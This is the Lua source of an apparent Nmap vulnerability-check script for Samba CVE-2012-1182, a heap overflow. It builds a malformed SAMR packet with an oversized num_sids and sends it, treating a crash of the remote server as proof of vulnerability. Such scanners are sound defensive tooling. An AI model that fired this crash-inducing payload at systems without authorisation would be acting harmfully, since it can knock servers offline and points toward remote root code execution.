local msrpc = require "msrpc"
local smb = require "smb"
local string = require "string"
local vulns = require "vulns"
local stdnse = require "stdnse"

description = [[
Checks if target machines are vulnerable to the Samba heap overflow vulnerability CVE-2012-1182.

Samba versions 3.6.3 and all versions previous to this are affected by
a vulnerability that allows remote code execution as the "root" user
from an anonymous connection.


CVE-2012-1182 marks multiple heap overflow vulnerabilities located in
PIDL based autogenerated code. This check script is based on PoC by ZDI
marked as ZDI-CAN-1503. Vulnerability lies in ndr_pull_lsa_SidArray
function where an attacker is under control of num_sids and can cause
insufficient memory to be allocated, leading to heap buffer overflow
and possibility of remote code execution.

Script builds a malicious packet and makes a SAMR GetAliasMembership
call which triggers the vulnerability. On the vulnerable system,
connection is dropped and result is "Failed to receive bytes after 5 attempts".
On patched system, samba throws an error and result is  "MSRPC call
returned a fault (packet type)".

References:
* https://bugzilla.samba.org/show_bug.cgi?id=8815
* http://www.samba.org/samba/security/CVE-2012-1182

]]

-----------------------------------------------------------------------
---
-- @usage
-- nmap --script=samba-vuln-cve-2012-1182  -p 139 <target>
-- @output
-- PORT    STATE SERVICE
-- 139/tcp open  netbios-ssn
--
-- Host script results:
-- | samba-vuln-cve-2012-1182:
-- |   VULNERABLE:
-- |   SAMBA remote heap overflow
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2012-1182
-- |     Risk factor: HIGH  CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       Samba versions 3.6.3 and all versions previous to this are affected by
-- |       a vulnerability that allows remote code execution as the "root" user
-- |       from an anonymous connection.
-- |
-- |     Disclosure date: 2012-03-15
-- |     References:
-- |       http://www.samba.org/samba/security/CVE-2012-1182
-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1182

author = "Aleksandar Nikolic"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive"}

hostrule = function(host)
  return smb.get_port(host) ~= nil
end

action = function(host,port)

  local result, stats
  local response = {}

  local samba_cve  = {
    title = "SAMBA remote heap overflow",
    IDS = {CVE = 'CVE-2012-1182'},
    risk_factor = "HIGH",
    scores = {
      CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
    },
    description = [[
Samba versions 3.6.3 and all versions previous to this are affected by
a vulnerability that allows remote code execution as the "root" user
from an anonymous connection.
]],
    references = {
      'http://www.samba.org/samba/security/CVE-2012-1182',
    },
    dates = {
      disclosure = {year = '2012', month = '03', day = '15'},
    },
    exploit_results = {},
  }

  local report = vulns.Report:new(SCRIPT_NAME, host, port)
  samba_cve.state = vulns.STATE.NOT_VULN

  -- create SMB session
  local status, smbstate
  status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
  if not status then
    return false, smbstate
  end

  -- bind to SAMR service
  local bind_result
  status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
  if not status then
    msrpc.stop_smb(smbstate)
    return false, bind_result
  end

  -- create malicious packet, same as in the PoC
  local data = string.pack("<I4",4096)  -- num_sids
    .. "abcd"
    ..string.pack("<I4I4I4",100
      ,0
      ,100)
    ..string.rep("a",1000)

  local marshaledHandle = string.rep("X",20)
  status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
  stdnse.debug2("msrpc.samr_getaliasmembership: %s, '%s'", status, result)
  if not status and string.find(result, "Failed to receive bytes after 5 attempts") then
    samba_cve.state = vulns.STATE.VULN -- connection dropped, server crashed
  end

  return report:make_output(samba_cve)

end


